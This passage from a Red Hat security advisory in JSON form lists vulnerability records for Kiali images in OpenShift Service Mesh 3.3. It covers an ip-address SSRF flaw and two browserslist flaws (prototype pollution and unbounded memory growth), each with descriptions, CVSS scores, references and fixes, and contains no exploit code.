          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "ip-address: ip-address: Inconsistent IP address parsing leads to Server-Side Request Forgery (SSRF) and trust-boundary bypass"
    },
    {
      "cve": "CVE-2026-73088",
      "cwe": {
        "id": "CWE-915",
        "name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
      },
      "discovery_date": "2026-08-11T17:11:53.228719+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2514177"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Browserslist, a tool for sharing browser and Node.js versions. An attacker could provide specially crafted statistics data, which the tool processes without proper validation. This improper handling of untrusted data can lead to prototype pollution, potentially causing the application to crash and resulting in a denial of service.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "browserslist: Browserslist: Prototype pollution leading to denial of service",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important vulnerability. The browserslist package, a front-end development tool, is vulnerable to prototype pollution when processing untrusted statistics data. This flaw can lead to a denial of service, as malicious input can crash applications that use the affected library. The impact is considered Important due to the potential for remote exploitation without authentication or user interaction, directly affecting service availability.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-73088"
        },
        {
          "category": "external",
          "summary": "RHBZ#2514177",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2514177"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-73088",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73088"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-73088",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73088"
        },
        {
          "category": "external",
          "summary": "https://github.com/browserslist/browserslist/commit/f9914ad9effc865ccc27d816255625890b31ca51",
          "url": "https://github.com/browserslist/browserslist/commit/f9914ad9effc865ccc27d816255625890b31ca51"
        },
        {
          "category": "external",
          "summary": "https://github.com/browserslist/browserslist/releases/tag/4.28.7",
          "url": "https://github.com/browserslist/browserslist/releases/tag/4.28.7"
        },
        {
          "category": "external",
          "summary": "https://github.com/browserslist/browserslist/security/advisories/GHSA-73wf-gq98-2v4g",
          "url": "https://github.com/browserslist/browserslist/security/advisories/GHSA-73wf-gq98-2v4g"
        }
      ],
      "release_date": "2026-08-11T17:00:05.869000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        },
        {
          "category": "workaround",
          "details": "To reduce exposure, ensure that the `browserslist` tool processes only trusted `browserslist-stats.json`, `opts.stats`, and CLI `--stats` data. Avoid using the tool with untrusted input sources in development or build environments. If `browserslist` is integrated into automated pipelines, validate all input data originates from trusted sources.",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "browserslist: Browserslist: Prototype pollution leading to denial of service"
    },
    {
      "cve": "CVE-2026-73089",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-08-11T17:12:48.012036+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2514195"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in Browserslist, a configuration tool for front-end development. An attacker can exploit this vulnerability by influencing repeated query values, leading to unbounded memory growth. This issue can cause the application to consume excessive memory, resulting in an out-of-memory process crash and a Denial of Service (DoS) for affected systems.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "browserslist: Browserslist: Denial of Service via unbounded memory growth from distinct query results",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important denial of service vulnerability in the `browserslist` library, which is used across several Red Hat products and services. The flaw allows an attacker to trigger unbounded memory growth by influencing query values, potentially leading to an out-of-memory crash and service unavailability. This is considered Important due to the potential for remote exploitation and significant impact on service stability.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
          "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-73089"
        },
        {
          "category": "external",
          "summary": "RHBZ#2514195",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2514195"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-73089",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73089"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-73089",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73089"
        },
        {
          "category": "external",
          "summary": "https://github.com/browserslist/browserslist/commit/f2931a3ff2a3a31abf84ef01a7400b270aad6405",
          "url": "https://github.com/browserslist/browserslist/commit/f2931a3ff2a3a31abf84ef01a7400b270aad6405"
        },
        {
          "category": "external",
          "summary": "https://github.com/browserslist/browserslist/releases/tag/4.28.7",
          "url": "https://github.com/browserslist/browserslist/releases/tag/4.28.7"
        },
        {
          "category": "external",
          "summary": "https://github.com/browserslist/browserslist/security/advisories/GHSA-c83g-rgw3-j3cx",
          "url": "https://github.com/browserslist/browserslist/security/advisories/GHSA-c83g-rgw3-j3cx"
        }
      ],
      "release_date": "2026-08-11T17:05:38.760000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-25T19:22:30+00:00",
          "details": "See Kiali 2.22.9 documentation at https://docs.redhat.com/en/documentation/red_hat_openshift_service_mesh/3.3/html/observability/kiali-operator-provided-by-red-hat",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59566"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:022c12caa213dbb1b4d2f585f52f31e7d1a0da386b2ac1658e2fde1b08121970_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:1fd1ec8f91a01ae88389893ab5af9cb6380c9b9674acd6c18e425f332a4ec999_arm64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:4bf7c9b34a8ab5a24dd925c64e440883628687a145e1633ab7879465ff25f38f_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-ossmc-rhel9@sha256:a6b6b84edf4b3c345b4c958ca67b7ef27f06dde44d27448eba24db17c11e1787_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:3ca26a65399e462e8188af985f28677f7a1b33833e21ea58c4d88ef03a594d55_s390x",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:4af8891fcc1b6df9678d22ed1039b0c4798ae7de7ceac794f7b4387203bbce10_ppc64le",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:68862ac6cb2ef3723b0e705ff36042bbf2d2608377da38f8263545537c450919_amd64",
            "Red Hat OpenShift Service Mesh 3.3:registry.redhat.io/openshift-service-mesh/kiali-rhel9@sha256:f4524769f240d33cfd8b41ef42b6d51bb9d947c967cb78144a141829c106c5c5_arm64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "browserslist: Browserslist: Denial of Service via unbounded memory growth from distinct query results"
    }
  ]
}